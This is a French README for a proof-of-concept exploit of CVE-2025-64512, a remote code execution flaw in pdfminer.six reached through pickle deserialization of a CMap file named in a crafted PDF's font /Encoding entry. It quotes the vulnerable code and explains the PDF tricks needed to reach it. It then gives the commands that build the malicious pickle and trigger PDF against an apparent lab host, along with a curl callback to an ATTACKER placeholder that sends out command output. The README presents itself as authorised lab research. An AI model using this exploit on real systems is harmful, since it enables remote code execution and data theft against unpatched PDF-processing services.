
PoC pour CVE-2025-64512 : RCE dans pdfminer.six via désérialisation pickle de CMapDB à partir d'un PDF spécialement conçu.
CMapDB dans pdfminer.sixPreuve de concept pour une vulnérabilité de désérialisation dans pdfminer.six
qui conduit à une exécution de code arbitraire lors de l'analyse d'un PDF spécialement conçu.
OBJET / AVIS LÉGAL Ce dépôt est fourni uniquement pour la recherche en sécurité éducative et autorisée. Il reproduit une CVE publiquement divulguée et corrigée. Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite de tester. L'auteur n'est pas responsable de toute utilisation abusive. Environnement prévu : Hack The Box / VulnHub / laboratoire local.
pdfminer.six avant 2025050620250506Dans cmapdb.py, CMapDB._load_data() lit un fichier CMap dont le nom est
dérivé de l'entrée /Encoding d'une police PDF et transmet le contenu à
pickle.loads() :
def _load_data(cls, name):
name = name.replace("\0", "")
filename = "%s.pickle.gz" % name
log.debug("loading: %r", name)
cmap_paths = (
os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
os.path.join(os.path.dirname(__file__), "cmap"),
)
for directory in cmap_paths:
path = os.path.join(directory, filename)
if os.path.exists(path):
gzfile = gzip.open(path)
try:
return type(str(name), (), pickle.loads(gzfile.read()))
finally:
gzfile.close()
raise CMapDB.CMapNotFound(name)
Trois propriétés se combinent pour rendre cette faille exploitable :
pickle.loads() sur des données contrôlées par l'attaquant -> exécution de code arbitraire.os.path.join() ignore le répertoire de recherche et ouvre le fichier à ce chemin exact..pickle.gz est ajouté automatiquement, donc le chemin est fourni sans l'extension.L'exploit nécessite deux fichiers téléversés vers l'application web vulnérable :
payload.pickle.gz — un pickle compressé en gzip dont __reduce__ exécute une commande et renvoie un dictionnaire en forme de CMap (afin que l'analyse se poursuive proprement après le déclenchement de la charge utile).trigger.pdf — un PDF minimal utilisant une Type0/CIDFont dont la police /Encoding pointe vers le chemin absolu du pickle (sans extension).Deux détails au niveau du PDF comptent :
CMapDB.get_cmap() n'est atteint que via une CIDFont (une police Type0 avec une entrée DescendantFonts), et non via une simple police Type1./, donc le chemin encodé doit commencer par #2f pour préserver la barre oblique initiale du chemin absolu. Les barres obliques internes sont également #2f car / est un délimiteur de nom.Lorsque la cible analyse le PDF (par exemple un observateur en arrière-plan appelant pdf2txt.py), CMapDB._load_data() ouvre le pickle et exécute la commande.
# 1. Build the malicious pickle (gzip-compressed)
python3 make_payload.py 'id; whoami' -o payload.pickle.gz
# 2. Build the trigger PDF pointing at the pickle's absolute path (no ext)
python3 make_trigger_pdf.py /var/www/research.bedside.htb/uploads/payload -o trigger.pdf
# 3. Upload both files to the vulnerable PDF upload form, then wait for
# the processing watcher to pick up trigger.pdf
Vérifié de bout en bout avec pdfminer.six 20250416 (vulnérable) : l'exécution de pdf2txt.py trigger.pdf exécute la commande de la charge utile et se termine avec le code 0.
La commande de la charge utile est aveugle ; exfiltrez les données via un callback, par exemple :
python3 make_payload.py 'curl http://ATTACKER:8001/$(id|base64 -w0)' -o payload.pickle.gz
| Fichier | Rôle |
|---|---|
make_payload.py | Génère le payload.pickle.gz malveillant |
make_trigger_pdf.py | Génère le PDF déclencheur /Encoding avec des décalages xref corrects |
20250506